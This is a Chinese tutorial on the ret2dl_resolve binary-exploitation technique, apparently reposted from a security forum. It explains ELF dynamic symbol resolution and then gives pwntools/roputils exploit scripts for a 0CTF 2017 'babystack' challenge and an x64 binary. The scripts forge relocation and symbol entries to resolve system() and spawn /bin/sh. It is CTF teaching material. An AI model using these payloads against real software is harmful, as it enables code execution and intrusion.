ret2dl_resolve从原理到实践
2019-10-07 11:34:09 Author: xz.aliyun.com(查看原文) 阅读量:209 收藏

ret2dl_resolve原理与实践

原理

  • ##### ELF对象

    • ELF文件是很多类unix系统(Lniux、FreeBSD)的可执行文件格式。
    • 一个应用程序主要由ELF和动态链接库.so组成。在ELF文件中有多个segment,每个segment包括多个sections。
    • 后面主要涉及.dynsym,.rela.plt和.dynstr,rel.plt。
  • ##### ELF动态装载器

    • 由于静态链接的文件比较大,且多是重复使用的代码。且一次装载耗时较多;所以才有了惰性加载(运行时加载)。

    • ELF文件执行时根据section里的信息,动态地链接.so文件中的资源(函数、变量)。这一过程(符号解析)由动态装载器实现。

    • 解析主要依赖于_dl_runtime_resolve函数。解析规则如图。

    • 相关的数据结构

      • 每个符号都是ELF_sym结构体。存在于.dynsym段。

        • st_name字段保存着该符号在,synstr段的偏移(那里保存着符号的字符串形式)
        • st_value字段,如果该符号已经被解析过,则保存着它的虚拟地址;否则NULL。
        typedef struct
        {
          Elf32_Word        st_name;                /* Symbol name (string tbl index) */
          Elf32_Addr        st_value;                /* Symbol value */
          Elf32_Word        st_size;                /* Symbol size */
          unsigned char        st_info;                /* Symbol type and binding */
          unsigned char        st_other;                /* Symbol visibility */
          Elf32_Section        st_shndx;                /* Section index */
        } Elf32_Sym;
        
      • 导入符号需要重定位支持,重定位项以ELF_Rel结构描述,存在于rel.plt段中

        • r_offset字段:该函数在got.plt中的偏移
        • r_info字段:该函数在dynsym中的类型和索引。
        typedef struct
        {
          Elf32_Addr        r_offset;                /* Address */
          Elf32_Word        r_info;                  /* Relocation type and symbol index */
        } Elf32_Rel;
        
      • 解析结束后,重定位的目标(Elf_Rel的r_offset)将会是got表的一个条目,got在got.plt中,将有能够解析rel.plt重定位项的动态链接器写入。

  • ##### 对解析read函数(第一次调用)的一次跟踪过程

    • gdb跟踪解析PLT

  • read函数未被解析时,got['read']中存的是plt['read']的第二条指令地址,所以会继续执行解析工作。

  • push 1操作实际是read函数符号在rel_plt的索引reloc_index;而0x4004d0地址是特殊字段PLT[0]

  • PLT[0]的代码会将GOT[1]入栈,并跳转至GTO[2]

    GOT[1]和GOT[2]是两个特殊字段。

    GOT[1]是内部数据结构的指针,类型是link_map,在动态装载器内部使用,包含了进行符号解析需要的当前ELF对象的信息。
    GOT[2]是一个指向动态装载器中_dl_runtime_resolve函数的指针。
  • 从上面的跟踪可以看出,PLT代码执行了_dl_runtime_resolve(link_map_obj, reloc_index)的调用。

  • 图示该函数的实现作用

  • .dynamic段和RELRO

    • 动态装载器从.dynamic段收集所有它需要的关于ELF对象的信息。.dynamic段由Elf_Dyn结构组成,一个Elf_Dyn是一个键值对,其中存储了不同类型的信息。相关的条目已经在表1中展示,它们保存着特定段的绝对地址。有一个例外是DT_DEBUG条目,它保存的动态装载器内部数据结构的指针。这个条目是为了调试的需要由动态装载器初始化的。

    • 部分RELRO:一些段(包括.dynamic)在初始化后将会被标识为只读。
    • 全部RELRO:所有的导入符号将在开始时被解析,.got.plt段会被完全初始化为目标函数的最终地址,并被标记为只读。此外,既然惰性解析被禁用,GOT[0]与GOT[1]条目将不会被初始化为之前中提到的值。
  • ##### 攻击

    • 通过伪造整个解析过程所依赖的符号信息(相关的数据结构),就可以将我们需要的函数动态加载进某一地址。攻击示意图

      这里,通过改写got[1],即link_map指向一个我们伪造得ELF_Dyn结构。在这个结构中破坏保存DT_STRTAB指针的l_info域。它的值被设成一个伪造的动态条目的地址,那里指向了一个位于.bss段中的假的动态字符串表。

      • a攻击实例中,改写DT_STRTAB条目,欺骗解析器认为.dynstr在.bss上,且在.bss伪造的dynsyn中写入我们的函数字符串,这里调用printf会劫持到execve。
      • b宏基实例中,通过传递给_dl_runtime_resolve函数的索引reloc_index超出范围,落在了.bss,并在那里伪造Elf_Rle结构;这个重定位项指向一个就位于其后的Elf_Sym结构,而Elf_Sym结构中的index同样超出了.dynsym段。这样这个符号就会包含一个相对.dynstr地址足够大的偏移使其能够达到这个符号之后的一段内存,那里保存着这个将要调用的函数的名称。

实践

  • ##### x86 0Ctf 2017 babystack

    • 无输出函数,不知道libc版本。。

    • ret2dl_resolve方法解决

    • 首先根据上图的流程手动模拟,找到"read"函数。

    • 代码模拟——借助于栈迁移,将stack迁移到.bss。

      #rop information
      read_plt = 0x08048300 
      bss_buf = 0x0804A020
      leave_ret = 0x08048455
      
      pop_3_ret = 0x080484e9      # pop esi ; pop edi ; pop ebp ; ret
      pop_ebp_ret = 0x080484eb    # pop ebp ; ret
      
      #stack poivt and read(0, bss, 0x1000)
      payload = 'a'*0x28
      payload += p32(bss_buf)     #ebp ==> bss_buf
      payload += p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss_buf) + p32(0x36)
      p.send(payload)
      
      dbg()
      
      stack_size = 0x800
      control_base = bss_buf + stack_size
      payload = 'a'*0x4                           #read(0, bss_buf = ebp, 0x1000),        while ebp+4 is ret_addr
      payload += p32(read_plt) + p32(pop_3_ret) + p32(0) + p32(control_base) + p32(0x1000)
      payload += p32(pop_ebp_ret) + p32(control_base)     #ebp = control_base, so ret_addr is at control_base+4 which is plt_0
      payload += p32(leave_ret)
      
      p.send(payload)
      
    • 伪造相关数据结构

      #elf information
      
      rel_plt = 0x80482b0
      jmptab = 0x80482b0
      
      dynsym = 0x080481cc
      symtab = 0x080481cc
      
      dynstr = 0x0804822c
      strtab = 0x0804822c
      
      #fake information
      alarm_got = elf.got['alarm']
      fake_sym_addr = control_base + 0x24
      align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
      fake_sym_addr += align
      
      index_sym = (fake_sym_addr - dynsym) / 0x10
      r_info = index_sym << 8 | 7
      fake_reloc=p32(alarm_got)+p32(r_info)                           # reloc fake alarm->system
      
      st_name=fake_sym_addr+0x10-dynstr
      fake_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12)
      
      plt_0 = 0x080482F0
      index_offset = (control_base + 0x1c) - rel_plt                      #plt_i索引
      
    • 栈布置

      • 其中通过导向执行PLT0,这里的参数很好理解。但是被解析函数的参数的位置怎么确定呢?在执行PLT0代码是,栈上的参数分布如下

      • 其他的结构都是伪造的布置在栈上,只要前后一致就没有问题。

```python
payload += p32(plt_0)                                               #push link_map; jmp dl_runtime_resolve.
payload += p32(index_offset)                                        #push idx
payload += 'a'*4        
payload += p32(control_base + 0x50)                                 #参数地址
payload += 'a'*8


payload += fake_reloc                                               #control_base + 0x1c
payload += 'b'*8

payload += fake_sym                                                 #control_base + 0x24
payload += 'system\x00'
payload = payload.ljust(0x50, 'a')
payload += cmd                                                      #被解析函数的参数位置
payload = payload.ljust(0x64, 'a')
```
  • 可以看到还是很麻烦的,利用工具roputils可以简化该过程。

    rom pwn import *
    import sys
    sys.path.append("/home/tree/pwntools/roputils")
    import roputils
    import time
    #coding:utf-8
    
    offset = 0x2c
    readplt = 0x08048300
    bss = 0x0804a020
    vulFunc = 0x0804843B
    
    p = process('./babystack')
    # p = remote('202.120.7.202', 6666)
    # context.log_level = 'debug'
    
    rop = roputils.ROP('./babystack')
    addr_bss = rop.section('.bss')
    
    # step1 : write sh & resolve struct to bss
    buf1 = 'A' * offset #44
    buf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100)
    p.send(buf1)
    
    buf2 =  rop.string('/bin/sh')
    buf2 += rop.fill(20, buf2)
    buf2 += rop.dl_resolve_data(addr_bss+20, 'system')      #address for func, and name for func
    buf2 += rop.fill(100, buf2)
    p.send(buf2)
    
    #step2 : use dl_resolve_call get system & system('/bin/sh')
    buf3 = 'A'*44 + rop.dl_resolve_call(addr_bss+20, addr_bss)      #address for func and args for func
    p.send(buf3)
    p.interactive()
  • ##### x64

    • 多了两个结构体。rela.plt和Sym

    • 同时r_offset不在直接寻址,而是作为rel.plt的索引。

    • 同时需要link_mmap设置为0(先泄露link_mmap_addr)

    • 利用roputils实现

      ```python
      #!/usr/bin/python
      # -- coding: utf-8 --
      import sys
      sys.path.append("/home/tree/pwntools/roputils")
      from roputils import *

      fpath = './ret2dl64'
      offset = 0x28
      rop = ROP(fpath)
      addr_bss = rop.section('.bss')

      read_plt = rop.plt('read')
      read_got = rop.got('read')

      p = Proc(fpath)
      payload = rop.retfill(offset)
      payload += rop.call(read_plt, 0, addr_bss, 0x100)
      payload += rop.dl_resolve_call(addr_bss+0x20, addr_bss) #link mmap地址,参数地址

      p.write(payload)
      payload = rop.string("/bin/sh\x00")
      payload += rop.fill(0x20, payload)
      payload += rop.dl_resolve_dada(addr_bss + 0x20, 'system') #link mmap 地址, 函数名
      payload += rop.fill(0x100, payload)

p.write(payload)
p.interact(0)
```

文章来源: http://xz.aliyun.com/t/6471
如有侵权请联系:admin#unsafe.sh